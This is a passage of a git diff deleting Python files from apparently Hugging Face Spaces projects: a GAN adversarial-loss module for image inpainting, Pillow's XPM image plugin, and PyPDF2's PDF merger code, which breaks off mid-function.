-
diff --git a/spaces/jgurzoni/image_background_swapper/saicinpainting/training/losses/adversarial.py b/spaces/jgurzoni/image_background_swapper/saicinpainting/training/losses/adversarial.py
deleted file mode 100644
index d6db2967ce5074d94ed3b4c51fc743ff2f7831b1..0000000000000000000000000000000000000000
--- a/spaces/jgurzoni/image_background_swapper/saicinpainting/training/losses/adversarial.py
+++ /dev/null
@@ -1,177 +0,0 @@
-from typing import Tuple, Dict, Optional
-
-import torch
-import torch.nn as nn
-import torch.nn.functional as F
-
-
-class BaseAdversarialLoss:
-    def pre_generator_step(self, real_batch: torch.Tensor, fake_batch: torch.Tensor,
-                           generator: nn.Module, discriminator: nn.Module):
-        """
-        Prepare for generator step
-        :param real_batch: Tensor, a batch of real samples
-        :param fake_batch: Tensor, a batch of samples produced by generator
-        :param generator:
-        :param discriminator:
-        :return: None
-        """
-
-    def pre_discriminator_step(self, real_batch: torch.Tensor, fake_batch: torch.Tensor,
-                               generator: nn.Module, discriminator: nn.Module):
-        """
-        Prepare for discriminator step
-        :param real_batch: Tensor, a batch of real samples
-        :param fake_batch: Tensor, a batch of samples produced by generator
-        :param generator:
-        :param discriminator:
-        :return: None
-        """
-
-    def generator_loss(self, real_batch: torch.Tensor, fake_batch: torch.Tensor,
-                       discr_real_pred: torch.Tensor, discr_fake_pred: torch.Tensor,
-                       mask: Optional[torch.Tensor] = None) \
-            -> Tuple[torch.Tensor, Dict[str, torch.Tensor]]:
-        """
-        Calculate generator loss
-        :param real_batch: Tensor, a batch of real samples
-        :param fake_batch: Tensor, a batch of samples produced by generator
-        :param discr_real_pred: Tensor, discriminator output for real_batch
-        :param discr_fake_pred: Tensor, discriminator output for fake_batch
-        :param mask: Tensor, actual mask, which was at input of generator when making fake_batch
-        :return: total generator loss along with some values that might be interesting to log
-        """
-        raise NotImplemented()
-
-    def discriminator_loss(self, real_batch: torch.Tensor, fake_batch: torch.Tensor,
-                           discr_real_pred: torch.Tensor, discr_fake_pred: torch.Tensor,
-                           mask: Optional[torch.Tensor] = None) \
-            -> Tuple[torch.Tensor, Dict[str, torch.Tensor]]:
-        """
-        Calculate discriminator loss and call .backward() on it
-        :param real_batch: Tensor, a batch of real samples
-        :param fake_batch: Tensor, a batch of samples produced by generator
-        :param discr_real_pred: Tensor, discriminator output for real_batch
-        :param discr_fake_pred: Tensor, discriminator output for fake_batch
-        :param mask: Tensor, actual mask, which was at input of generator when making fake_batch
-        :return: total discriminator loss along with some values that might be interesting to log
-        """
-        raise NotImplemented()
-
-    def interpolate_mask(self, mask, shape):
-        assert mask is not None
-        assert self.allow_scale_mask or shape == mask.shape[-2:]
-        if shape != mask.shape[-2:] and self.allow_scale_mask:
-            if self.mask_scale_mode == 'maxpool':
-                mask = F.adaptive_max_pool2d(mask, shape)
-            else:
-                mask = F.interpolate(mask, size=shape, mode=self.mask_scale_mode)
-        return mask
-
-def make_r1_gp(discr_real_pred, real_batch):
-    if torch.is_grad_enabled():
-        grad_real = torch.autograd.grad(outputs=discr_real_pred.sum(), inputs=real_batch, create_graph=True)[0]
-        grad_penalty = (grad_real.view(grad_real.shape[0], -1).norm(2, dim=1) ** 2).mean()
-    else:
-        grad_penalty = 0
-    real_batch.requires_grad = False
-
-    return grad_penalty
-
-class NonSaturatingWithR1(BaseAdversarialLoss):
-    def __init__(self, gp_coef=5, weight=1, mask_as_fake_target=False, allow_scale_mask=False,
-                 mask_scale_mode='nearest', extra_mask_weight_for_gen=0,
-                 use_unmasked_for_gen=True, use_unmasked_for_discr=True):
-        self.gp_coef = gp_coef
-        self.weight = weight
-        # use for discr => use for gen;
-        # otherwise we teach only the discr to pay attention to very small difference
-        assert use_unmasked_for_gen or (not use_unmasked_for_discr)
-        # mask as target => use unmasked for discr:
-        # if we don't care about unmasked regions at all
-        # then it doesn't matter if the value of mask_as_fake_target is true or false
-        assert use_unmasked_for_discr or (not mask_as_fake_target)
-        self.use_unmasked_for_gen = use_unmasked_for_gen
-        self.use_unmasked_for_discr = use_unmasked_for_discr
-        self.mask_as_fake_target = mask_as_fake_target
-        self.allow_scale_mask = allow_scale_mask
-        self.mask_scale_mode = mask_scale_mode
-        self.extra_mask_weight_for_gen = extra_mask_weight_for_gen
-
-    def generator_loss(self, real_batch: torch.Tensor, fake_batch: torch.Tensor,
-                       discr_real_pred: torch.Tensor, discr_fake_pred: torch.Tensor,
-                       mask=None) \
-            -> Tuple[torch.Tensor, Dict[str, torch.Tensor]]:
-        fake_loss = F.softplus(-discr_fake_pred)
-        if (self.mask_as_fake_target and self.extra_mask_weight_for_gen > 0) or \
-                not self.use_unmasked_for_gen:  # == if masked region should be treated differently
-            mask = self.interpolate_mask(mask, discr_fake_pred.shape[-2:])
-            if not self.use_unmasked_for_gen:
-                fake_loss = fake_loss * mask
-            else:
-                pixel_weights = 1 + mask * self.extra_mask_weight_for_gen
-                fake_loss = fake_loss * pixel_weights
-
-        return fake_loss.mean() * self.weight, dict()
-
-    def pre_discriminator_step(self, real_batch: torch.Tensor, fake_batch: torch.Tensor,
-                               generator: nn.Module, discriminator: nn.Module):
-        real_batch.requires_grad = True
-
-    def discriminator_loss(self, real_batch: torch.Tensor, fake_batch: torch.Tensor,
-                           discr_real_pred: torch.Tensor, discr_fake_pred: torch.Tensor,
-                           mask=None) \
-            -> Tuple[torch.Tensor, Dict[str, torch.Tensor]]:
-
-        real_loss = F.softplus(-discr_real_pred)
-        grad_penalty = make_r1_gp(discr_real_pred, real_batch) * self.gp_coef
-        fake_loss = F.softplus(discr_fake_pred)
-
-        if not self.use_unmasked_for_discr or self.mask_as_fake_target:
-            # == if masked region should be treated differently
-            mask = self.interpolate_mask(mask, discr_fake_pred.shape[-2:])
-            # use_unmasked_for_discr=False only makes sense for fakes;
-            # for reals there is no difference beetween two regions
-            fake_loss = fake_loss * mask
-            if self.mask_as_fake_target:
-                fake_loss = fake_loss + (1 - mask) * F.softplus(-discr_fake_pred)
-
-        sum_discr_loss = real_loss + grad_penalty + fake_loss
-        metrics = dict(discr_real_out=discr_real_pred.mean(),
-                       discr_fake_out=discr_fake_pred.mean(),
-                       discr_real_gp=grad_penalty)
-        return sum_discr_loss.mean(), metrics
-
-class BCELoss(BaseAdversarialLoss):
-    def __init__(self, weight):
-        self.weight = weight
-        self.bce_loss = nn.BCEWithLogitsLoss()
-
-    def generator_loss(self, discr_fake_pred: torch.Tensor) -> Tuple[torch.Tensor, Dict[str, torch.Tensor]]:
-        real_mask_gt = torch.zeros(discr_fake_pred.shape).to(discr_fake_pred.device)
-        fake_loss = self.bce_loss(discr_fake_pred, real_mask_gt) * self.weight
-        return fake_loss, dict()
-
-    def pre_discriminator_step(self, real_batch: torch.Tensor, fake_batch: torch.Tensor,
-                               generator: nn.Module, discriminator: nn.Module):
-        real_batch.requires_grad = True
-
-    def discriminator_loss(self,
-                           mask: torch.Tensor,
-                           discr_real_pred: torch.Tensor,
-                           discr_fake_pred: torch.Tensor) -> Tuple[torch.Tensor, Dict[str, torch.Tensor]]:
-
-        real_mask_gt = torch.zeros(discr_real_pred.shape).to(discr_real_pred.device)
-        sum_discr_loss = (self.bce_loss(discr_real_pred, real_mask_gt) +  self.bce_loss(discr_fake_pred, mask)) / 2
-        metrics = dict(discr_real_out=discr_real_pred.mean(),
-                       discr_fake_out=discr_fake_pred.mean(),
-                       discr_real_gp=0)
-        return sum_discr_loss, metrics
-
-
-def make_discrim_loss(kind, **kwargs):
-    if kind == 'r1':
-        return NonSaturatingWithR1(**kwargs)
-    elif kind == 'bce':
-        return BCELoss(**kwargs)
-    raise ValueError(f'Unknown adversarial loss kind {kind}')
diff --git a/spaces/joaopereirajp/livvieChatBot/venv/lib/python3.9/site-packages/PIL/XpmImagePlugin.py b/spaces/joaopereirajp/livvieChatBot/venv/lib/python3.9/site-packages/PIL/XpmImagePlugin.py
deleted file mode 100644
index 5d5bdc3edfa7be8d235fd6ef4176cc6cebee541c..0000000000000000000000000000000000000000
--- a/spaces/joaopereirajp/livvieChatBot/venv/lib/python3.9/site-packages/PIL/XpmImagePlugin.py
+++ /dev/null
@@ -1,128 +0,0 @@
-#
-# The Python Imaging Library.
-# $Id$
-#
-# XPM File handling
-#
-# History:
-# 1996-12-29 fl   Created
-# 2001-02-17 fl   Use 're' instead of 'regex' (Python 2.1) (0.7)
-#
-# Copyright (c) Secret Labs AB 1997-2001.
-# Copyright (c) Fredrik Lundh 1996-2001.
-#
-# See the README file for information on usage and redistribution.
-#
-
-
-import re
-
-from . import Image, ImageFile, ImagePalette
-from ._binary import o8
-
-# XPM header
-xpm_head = re.compile(b'"([0-9]*) ([0-9]*) ([0-9]*) ([0-9]*)')
-
-
-def _accept(prefix):
-    return prefix[:9] == b"/* XPM */"
-
-
-##
-# Image plugin for X11 pixel maps.
-
-
-class XpmImageFile(ImageFile.ImageFile):
-    format = "XPM"
-    format_description = "X11 Pixel Map"
-
-    def _open(self):
-        if not _accept(self.fp.read(9)):
-            msg = "not an XPM file"
-            raise SyntaxError(msg)
-
-        # skip forward to next string
-        while True:
-            s = self.fp.readline()
-            if not s:
-                msg = "broken XPM file"
-                raise SyntaxError(msg)
-            m = xpm_head.match(s)
-            if m:
-                break
-
-        self._size = int(m.group(1)), int(m.group(2))
-
-        pal = int(m.group(3))
-        bpp = int(m.group(4))
-
-        if pal > 256 or bpp != 1:
-            msg = "cannot read this XPM file"
-            raise ValueError(msg)
-
-        #
-        # load palette description
-
-        palette = [b"\0\0\0"] * 256
-
-        for _ in range(pal):
-            s = self.fp.readline()
-            if s[-2:] == b"\r\n":
-                s = s[:-2]
-            elif s[-1:] in b"\r\n":
-                s = s[:-1]
-
-            c = s[1]
-            s = s[2:-2].split()
-
-            for i in range(0, len(s), 2):
-                if s[i] == b"c":
-                    # process colour key
-                    rgb = s[i + 1]
-                    if rgb == b"None":
-                        self.info["transparency"] = c
-                    elif rgb[:1] == b"#":
-                        # FIXME: handle colour names (see ImagePalette.py)
-                        rgb = int(rgb[1:], 16)
-                        palette[c] = (
-                            o8((rgb >> 16) & 255) + o8((rgb >> 8) & 255) + o8(rgb & 255)
-                        )
-                    else:
-                        # unknown colour
-                        msg = "cannot read this XPM file"
-                        raise ValueError(msg)
-                    break
-
-            else:
-                # missing colour key
-                msg = "cannot read this XPM file"
-                raise ValueError(msg)
-
-        self.mode = "P"
-        self.palette = ImagePalette.raw("RGB", b"".join(palette))
-
-        self.tile = [("raw", (0, 0) + self.size, self.fp.tell(), ("P", 0, 1))]
-
-    def load_read(self, bytes):
-        #
-        # load all image data in one chunk
-
-        xsize, ysize = self.size
-
-        s = [None] * ysize
-
-        for i in range(ysize):
-            s[i] = self.fp.readline()[1 : xsize + 1].ljust(xsize)
-
-        return b"".join(s)
-
-
-#
-# Registry
-
-
-Image.register_open(XpmImageFile.format, XpmImageFile, _accept)
-
-Image.register_extension(XpmImageFile.format, ".xpm")
-
-Image.register_mime(XpmImageFile.format, "image/xpm")
diff --git a/spaces/joaopereirajp/livvieChatBot/venv/lib/python3.9/site-packages/PyPDF2/_merger.py b/spaces/joaopereirajp/livvieChatBot/venv/lib/python3.9/site-packages/PyPDF2/_merger.py
deleted file mode 100644
index 4d7a659d8c4299227718d41a8fca33a6cf9fce86..0000000000000000000000000000000000000000
--- a/spaces/joaopereirajp/livvieChatBot/venv/lib/python3.9/site-packages/PyPDF2/_merger.py
+++ /dev/null
@@ -1,821 +0,0 @@
-# Copyright (c) 2006, Mathieu Fenniak
-# All rights reserved.
-#
-# Redistribution and use in source and binary forms, with or without
-# modification, are permitted provided that the following conditions are
-# met:
-#
-# * Redistributions of source code must retain the above copyright notice,
-# this list of conditions and the following disclaimer.
-# * Redistributions in binary form must reproduce the above copyright notice,
-# this list of conditions and the following disclaimer in the documentation
-# and/or other materials provided with the distribution.
-# * The name of the author may not be used to endorse or promote products
-# derived from this software without specific prior written permission.
-#
-# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
-# AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
-# IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
-# ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE
-# LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
-# CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
-# SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
-# INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN
-# CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
-# ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
-# POSSIBILITY OF SUCH DAMAGE.
-
-import warnings
-from io import BytesIO, FileIO, IOBase
-from pathlib import Path
-from types import TracebackType
-from typing import (
-    Any,
-    Dict,
-    Iterable,
-    List,
-    Optional,
-    Tuple,
-    Type,
-    Union,
-    cast,
-)
-
-from ._encryption import Encryption
-from ._page import PageObject
-from ._reader import PdfReader
-from ._utils import (
-    StrByteType,
-    deprecation_bookmark,
-    deprecation_with_replacement,
-    str_,
-)
-from ._writer import PdfWriter
-from .constants import GoToActionArguments
-from .constants import PagesAttributes as PA
-from .constants import TypArguments, TypFitArguments
-from .generic import (
-    PAGE_FIT,
-    ArrayObject,
-    Destination,
-    DictionaryObject,
-    Fit,
-    FloatObject,
-    IndirectObject,
-    NameObject,
-    NullObject,
-    NumberObject,
-    OutlineItem,
-    TextStringObject,
-    TreeObject,
-)
-from .pagerange import PageRange, PageRangeSpec
-from .types import FitType, LayoutType, OutlineType, PagemodeType, ZoomArgType
-
-ERR_CLOSED_WRITER = "close() was called and thus the writer cannot be used anymore"
-
-
-class _MergedPage:
-    """Collect necessary information on each page that is being merged."""
-
-    def __init__(self, pagedata: PageObject, src: PdfReader, id: int) -> None:
-        self.src = src
-        self.pagedata = pagedata
-        self.out_pagedata = None
-        self.id = id
-
-
-class PdfMerger:
-    """
-    Initialize a ``PdfMerger`` object.
-
-    ``PdfMerger`` merges multiple PDFs into a single PDF.
-    It can concatenate, slice, insert, or any combination of the above.
-
-    See the functions :meth:`merge()<merge>` (or :meth:`append()<append>`)
-    and :meth:`write()<write>` for usage information.
-
-    :param bool strict: Determines whether user should be warned of all
-            problems and also causes some correctable problems to be fatal.
-            Defaults to ``False``.
-    :param fileobj: Output file. Can be a filename or any kind of
-            file-like object.
-    """
-
-    @deprecation_bookmark(bookmarks="outline")
-    def __init__(
-        self, strict: bool = False, fileobj: Union[Path, StrByteType] = ""
-    ) -> None:
-        self.inputs: List[Tuple[Any, PdfReader]] = []
-        self.pages: List[Any] = []
-        self.output: Optional[PdfWriter] = PdfWriter()
-        self.outline: OutlineType = []
-        self.named_dests: List[Any] = []
-        self.id_count = 0
-        self.fileobj = fileobj
-        self.strict = strict
-
-    def __enter__(self) -> "PdfMerger":
-        # There is nothing to do.
-        return self
-
-    def __exit__(
-        self,
-        exc_type: Optional[Type[BaseException]],
-        exc: Optional[BaseException],
-        traceback: Optional[TracebackType],
-    ) -> None:
-        """Write to the fileobj and close the merger."""
-        if self.fileobj:
-            self.write(self.fileobj)
-        self.close()
-
-    @deprecation_bookmark(bookmark="outline_item", import_bookmarks="import_outline")
-    def merge(
-        self,
-        page_number: Optional[int] = None,
-        fileobj: Union[Path, StrByteType, PdfReader] = None,
-        outline_item: Optional[str] = None,
-        pages: Optional[PageRangeSpec] = None,
-        import_outline: bool = True,
-        position: Optional[int] = None,  # deprecated
-    ) -> None:
-        """
-        Merge the pages from the given file into the output file at the
-        specified page number.
-
-        :param int page_number: The *page number* to insert this file. File will
-            be inserted after the given number.
-
-        :param fileobj: A File Object or an object that supports the standard
-            read and seek methods similar to a File Object. Could also be a
-            string representing a path to a PDF file.
-
-        :param str outline_item: Optionally, you may specify an outline item
-            (previously referred to as a 'bookmark') to be applied at the
-            beginning of the included file by supplying the text of the outline item.
-
-        :param pages: can be a :class:`PageRange<PyPDF2.pagerange.PageRange>`
-            or a ``(start, stop[, step])`` tuple
-            to merge only the specified range of pages from the source
-            document into the output document.
-            Can also be a list of pages to merge.
-
-        :param bool import_outline: You may prevent the source document's
-            outline (collection of outline items, previously referred to as
-            'bookmarks') from being imported by specifying this as ``False``.
-        """
-        if position is not None:  # deprecated
-            if page_number is None:
-                page_number = position
-                old_term = "position"
-                new_term = "page_number"
-                warnings.warn(
-                    (
-                        f"{old_term} is deprecated as an argument and will be "
-                        f"removed in PyPDF2=4.0.0. Use {new_term} instead"
-                    ),
-                    DeprecationWarning,
-                )
-            else:
-                raise ValueError(
-                    "The argument position of merge is deprecated. Use page_number only."
-                )
-
-        if page_number is None:  # deprecated
-            # The paremter is only marked as Optional as long as
-            # position is not fully deprecated
-            raise ValueError("page_number may not be None")
-        if fileobj is None:  # deprecated
-            # The argument is only Optional due to the deprecated position
-            # argument
-            raise ValueError("fileobj may not be None")
-
-        stream, encryption_obj = self._create_stream(fileobj)
-
-        # Create a new PdfReader instance using the stream
-        # (either file or BytesIO or StringIO) created above
-        reader = PdfReader(stream, strict=self.strict)  # type: ignore[arg-type]
-        self.inputs.append((stream, reader))
-        if encryption_obj is not None:
-            reader._encryption = encryption_obj
-
-        # Find the range of pages to merge.
-        if pages is None:
-            pages = (0, len(reader.pages))
-        elif isinstance(pages, PageRange):
-            pages = pages.indices(len(reader.pages))
-        elif isinstance(pages, list):
-            pass
-        elif not isinstance(pages, tuple):
-            raise TypeError('"pages" must be a tuple of (start, stop[, step])')
-
-        srcpages = []
-
-        outline = []
-        if import_outline:
-            outline = reader.outline
-            outline = self._trim_outline(reader, outline, pages)
-
-        if outline_item:
-            outline_item_typ = OutlineItem(
-                TextStringObject(outline_item),
-                NumberObject(self.id_count),
-                Fit.fit(),
-            )
-            self.outline += [outline_item_typ, outline]  # type: ignore
-        else:
-            self.outline += outline
-
-        dests = reader.named_destinations
-        trimmed_dests = self._trim_dests(reader, dests, pages)
-        self.named_dests += trimmed_dests
-
-        # Gather all the pages that are going to be merged
-        for i in range(*pages):
-            page = reader.pages[i]
-
-            id = self.id_count
-            self.id_count += 1
-
-            mp = _MergedPage(page, reader, id)
-
-            srcpages.append(mp)
-
-        self._associate_dests_to_pages(srcpages)
-        self._associate_outline_items_to_pages(srcpages)
-
-        # Slice to insert the pages at the specified page_number
-        self.pages[page_number:page_number] = srcpages
-
-    def _create_stream(
-        self, fileobj: Union[Path, StrByteType, PdfReader]
-    ) -> Tuple[IOBase, Optional[Encryption]]:
-        # If the fileobj parameter is a string, assume it is a path
-        # and create a file object at that location. If it is a file,
-        # copy the file's contents into a BytesIO stream object; if
-        # it is a PdfReader, copy that reader's stream into a
-        # BytesIO stream.
-        # If fileobj is none of the above types, it is not modified
-        encryption_obj = None
-        stream: IOBase
-        if isinstance(fileobj, (str, Path)):
-            stream = FileIO(fileobj, "rb")
-        elif isinstance(fileobj, PdfReader):
-            if fileobj._encryption:
-                encryption_obj = fileobj._encryption
-            orig_tell = fileobj.stream.tell()
-            fileobj.stream.seek(0)
-            stream = BytesIO(fileobj.stream.read())
-
-            # reset the stream to its original location
-            fileobj.stream.seek(orig_tell)
-        elif hasattr(fileobj, "seek") and hasattr(fileobj, "read"):
-            fileobj.seek(0)
-            filecontent = fileobj.read()
-            stream = BytesIO(filecontent)
-        else:
-            raise NotImplementedError(
-                "PdfMerger.merge requires an object that PdfReader can parse. "
-                "Typically, that is a Path or a string representing a Path, "
-                "a file object, or an object implementing .seek and .read. "
-                "Passing a PdfReader directly works as well."
-            )
-        return stream, encryption_obj
-
-    @deprecation_bookmark(bookmark="outline_item", import_bookmarks="import_outline")
-    def append(
-        self,
-        fileobj: Union[StrByteType, PdfReader, Path],
-        outline_item: Optional[str] = None,
-        pages: Union[
-            None, PageRange, Tuple[int, int], Tuple[int, int, int], List[int]
-        ] = None,
-        import_outline: bool = True,
-    ) -> None:
-        """
-        Identical to the :meth:`merge()<merge>` method, but assumes you want to
-        concatenate all pages onto the end of the file instead of specifying a
-        position.
-
-        :param fileobj: A File Object or an object that supports the standard
-            read and seek methods similar to a File Object. Could also be a
-            string representing a path to a PDF file.
-
-        :param str outline_item: Optionally, you may specify an outline item
-            (previously referred to as a 'bookmark') to be applied at the
-            beginning of the included file by supplying the text of the outline item.
-
-        :param pages: can be a :class:`PageRange<PyPDF2.pagerange.PageRange>`
-            or a ``(start, stop[, step])`` tuple
-            to merge only the specified range of pages from the source
-            document into the output document.
-            Can also be a list of pages to append.
-
-        :param bool import_outline: You may prevent the source document's
-            outline (collection of outline items, previously referred to as
-            'bookmarks') from being imported by specifying this as ``False``.
-        """
-        self.merge(len(self.pages), fileobj, outline_item, pages, import_outline)
-
-    def write(self, fileobj: Union[Path, StrByteType]) -> None:
-        """
-        Write all data that has been merged to the given output file.
-
-        :param fileobj: Output file. Can be a filename or any kind of
-            file-like object.
-        """
-        if self.output is None:
-            raise RuntimeError(ERR_CLOSED_WRITER)
-
-        # Add pages to the PdfWriter
-        # The commented out line below was replaced with the two lines below it
-        # to allow PdfMerger to work with PyPdf 1.13
-        for page in self.pages:
-            self.output.add_page(page.pagedata)
-            pages_obj = cast(Dict[str, Any], self.output._pages.get_object())
-            page.out_pagedata = self.output.get_reference(
-                pages_obj[PA.KIDS][-1].get_object()
-            )
-            # idnum = self.output._objects.index(self.output._pages.get_object()[PA.KIDS][-1].get_object()) + 1
-            # page.out_pagedata = IndirectObject(idnum, 0, self.output)
-
-        # Once all pages are added, create outline items to point at those pages
-        self._write_dests()
-        self._write_outline()
-
-        # Write the output to the file
-        my_file, ret_fileobj = self.output.write(fileobj)
-
-        if my_file:
-            ret_fileobj.close()
-
-    def close(self) -> None:
-        """Shut all file descriptors (input and output) and clear all memory usage."""
-        self.pages = []
-        for fo, _reader in self.inputs:
-            fo.close()
-
-        self.inputs = []
-        self.output = None
-
-    def add_metadata(self, infos: Dict[str, Any]) -> None:
-        """
-        Add custom metadata to the output.
-
-        :param dict infos: a Python dictionary where each key is a field
-            and each value is your new metadata.
-            Example: ``{u'/Title': u'My title'}``
-        """
-        if self.output is None:
-            raise RuntimeError(ERR_CLOSED_WRITER)
-        self.output.add_metadata(infos)
-
-    def addMetadata(self, infos: Dict[str, Any]) -> None:  # pragma: no cover
-        """
-        .. deprecated:: 1.28.0
-
-            Use :meth:`add_metadata` instead.
-        """
-        deprecation_with_replacement("addMetadata", "add_metadata")
-        self.add_metadata(infos)
-
-    def setPageLayout(self, layout: LayoutType) -> None:  # pragma: no cover
-        """
-        .. deprecated:: 1.28.0
-
-            Use :meth:`set_page_layout` instead.
-        """
-        deprecation_with_replacement("setPageLayout", "set_page_layout")
-        self.set_page_layout(layout)
-
-    def set_page_layout(self, layout: LayoutType) -> None:
-        """
-        Set the page layout.
-
-        :param str layout: The page layout to be used
-
-        .. list-table:: Valid ``layout`` arguments
-           :widths: 50 200
-
-           * - /NoLayout
-             - Layout explicitly not specified
-           * - /SinglePage
-             - Show one page at a time
-           * - /OneColumn
-             - Show one column at a time
-           * - /TwoColumnLeft
-             - Show pages in two columns, odd-numbered pages on the left
-           * - /TwoColumnRight
-             - Show pages in two columns, odd-numbered pages on the right
-           * - /TwoPageLeft
-             - Show two pages at a time, odd-numbered pages on the left
-           * - /TwoPageRight
-             - Show two pages at a time, odd-numbered pages on the right
-        """
-        if self.output is None:
-            raise RuntimeError(ERR_CLOSED_WRITER)
-        self.output._set_page_layout(layout)
-
-    def setPageMode(self, mode: PagemodeType) -> None:  # pragma: no cover
-        """
-        .. deprecated:: 1.28.0
-
-            Use :meth:`set_page_mode` instead.
-        """
-        deprecation_with_replacement("setPageMode", "set_page_mode", "3.0.0")
-        self.set_page_mode(mode)
-
-    def set_page_mode(self, mode: PagemodeType) -> None:
-        """
-        Set the page mode.
-
-        :param str mode: The page mode to use.
-
-        .. list-table:: Valid ``mode`` arguments
-           :widths: 50 200
-
-           * - /UseNone
-             - Do not show outline or thumbnails panels
-           * - /UseOutlines
-             - Show outline (aka bookmarks) panel
-           * - /UseThumbs
-             - Show page thumbnails panel
-           * - /FullScreen
-             - Fullscreen view
-           * - /UseOC
-             - Show Optional Content Group (OCG) panel
-           * - /UseAttachments
-             - Show attachments panel
-        """
-        if self.output is None:
-            raise RuntimeError(ERR_CLOSED_WRITER)
-        self.output.set_page_mode(mode)
-
-    def _trim_dests(
-        self,
-        pdf: PdfReader,
-        dests: Dict[str, Dict[str, Any]],
-        pages: Union[Tuple[int, int], Tuple[int, int, int], List[int]],
-    ) -> List[Dict[str, Any]]:
-        """Remove named destinations that are not a part of the specified page set."""
-        new_dests = []
-        lst = pages if isinstance(pages, list) else list(range(*pages))
-        for key, obj in dests.items():
-            for j in lst:
-                if pdf.pages[j].get_object() == obj["/Page"].get_object():
-                    obj[NameObject("/Page")] = obj["/Page"].get_object()
-                    assert str_(key) == str_(obj["/Title"])
-                    new_dests.append(obj)
-                    break
-        return new_dests
-
-    def _trim_outline(
-        self,
-        pdf: PdfReader,
-        outline: OutlineType,
-        pages: Union[Tuple[int, int], Tuple[int, int, int], List[int]],
-    ) -> OutlineType:
-        """Remove outline item entries that are not a part of the specified page set."""
-        new_outline = []
-        prev_header_added = True
-        lst = pages if isinstance(pages, list) else list(range(*pages))
-        for i, outline_item in enumerate(outline):
-            if isinstance(outline_item, list):
-                sub = self._trim_outline(pdf, outline_item, lst)  # type: ignore
-                if sub:
-                    if not prev_header_added:
-                        new_outline.append(outline[i - 1])
-                    new_outline.append(sub)  # type: ignore
-            else:
-                prev_header_added = False
-                for j in lst:
-                    if outline_item["/Page"] is None:
-                        continue
-                    if pdf.pages[j].get_object() == outline_item["/Page"].get_object():
-                        outline_item[NameObject("/Page")] = outline_item[
-                            "/Page"
-                        ].get_object()
-                        new_outline.append(outline_item)
-                        prev_header_added = True
-                        break
-        return new_outline
-
-    def _write_dests(self) -> None:
-        if self.output is None:
-            raise RuntimeError(ERR_CLOSED_WRITER)
-        for named_dest in self.named_dests:
-            pageno = None
-            if "/Page" in named_dest:
-                for pageno, page in enumerate(self.pages):  # noqa: B007
-                    if page.id == named_dest["/Page"]:
-                        named_dest[NameObject("/Page")] = page.out_pagedata
-                        break
-
-            if pageno is not None:
-                self.output.add_named_destination_object(named_dest)
-
-    @deprecation_bookmark(bookmarks="outline")
-    def _write_outline(
-        self,
-        outline: Optional[Iterable[OutlineItem]] = None,
-        parent: Optional[TreeObject] = None,
-    ) -> None:
-        if self.output is None:
-            raise RuntimeError(ERR_CLOSED_WRITER)
-        if outline is None:
-            outline = self.outline  # type: ignore
-        assert outline is not None, "hint for mypy"  # TODO: is that true?
-
-        last_added = None
-        for outline_item in outline:
-            if isinstance(outline_item, list):
-                self._write_outline(outline_item, last_added)
-                continue
-
-            page_no = None
-            if "/Page" in outline_item:
-                for page_no, page in enumerate(self.pages):  # noqa: B007
-                    if page.id == outline_item["/Page"]:
-                        self._write_outline_item_on_page(outline_item, page)
-                        break
-            if page_no is not None:
-                del outline_item["/Page"], outline_item["/Type"]
-                last_added = self.output.add_outline_item_dict(outline_item, parent)
-
-    @deprecation_bookmark(bookmark="outline_item")
-    def _write_outline_item_on_page(
-        self, outline_item: Union[OutlineItem, Destination], page: _MergedPage
-    ) -> None:
-        oi_type = cast(str, outline_item["/Type"])
-        args = [NumberObject(page.id), NameObject(oi_type)]
-        fit2arg_keys: Dict[str, Tuple[str, ...]] = {
-            TypFitArguments.FIT_H: (TypArguments.TOP,),
-            TypFitArguments.FIT_BH: (TypArguments.TOP,),
-            TypFitArguments.FIT_V: (TypArguments.LEFT,),
-            TypFitArguments.FIT_BV: (TypArguments.LEFT,),
-            TypFitArguments.XYZ: (TypArguments.LEFT, TypArguments.TOP, "/Zoom"),
-            TypFitArguments.FIT_R: (
-                TypArguments.LEFT,
-                TypArguments.BOTTOM,
-                TypArguments.RIGHT,
-                TypArguments.TOP,
-            ),
-        }
-        for arg_key in fit2arg_keys.get(oi_type, tuple()):
-            if arg_key in outline_item and not isinstance(
-                outline_item[arg_key], NullObject
-            ):
-                args.append(FloatObject(outline_item[arg_key]))
-            else:
-                args.append(FloatObject(0))
-            del outline_item[arg_key]
-
-        outline_item[NameObject("/A")] = DictionaryObject(
-            {
-                NameObject(GoToActionArguments.S): NameObject("/GoTo"),
-                NameObject(GoToActionArguments.D): ArrayObject(args),
-            }
-        )
-
-    def _associate_dests_to_pages(self, pages: List[_MergedPage]) -> None:
-        for named_dest in self.named_dests:
-            pageno = None
-            np = named_dest["/Page"]
-
-            if isinstance(np, NumberObject):
-                continue
-
-            for page in pages:
-                if np.get_object() == page.pagedata.get_object():
-                    pageno = page.id
-
-            if pageno is None:
-                raise ValueError(
-                    f"Unresolved named destination '{named_dest['/Title']}'"
-                )
-            named_dest[NameObject("/Page")] = NumberObject(pageno)
-
-    @deprecation_bookmark(bookmarks="outline")
-    def _associate_outline_items_to_pages(
-        self, pages: List[_MergedPage], outline: Optional[Iterable[OutlineItem]] = None
-    ) -> None:
-        if outline is None:
-            outline = self.outline  # type: ignore # TODO: self.bookmarks can be None!
-        assert outline is not None, "hint for mypy"
-        for outline_item in outline:
-            if isinstance(outline_item, list):
-                self._associate_outline_items_to_pages(pages, outline_item)
-                continue
-
-            pageno = None
-            outline_item_page = outline_item["/Page"]
-
-            if isinstance(outline_item_page, NumberObject):
-                continue
-
-            for p in pages:
-                if outline_item_page.get_object() == p.pagedata.get_object():
-                    pageno = p.id
-
-            if pageno is not None:
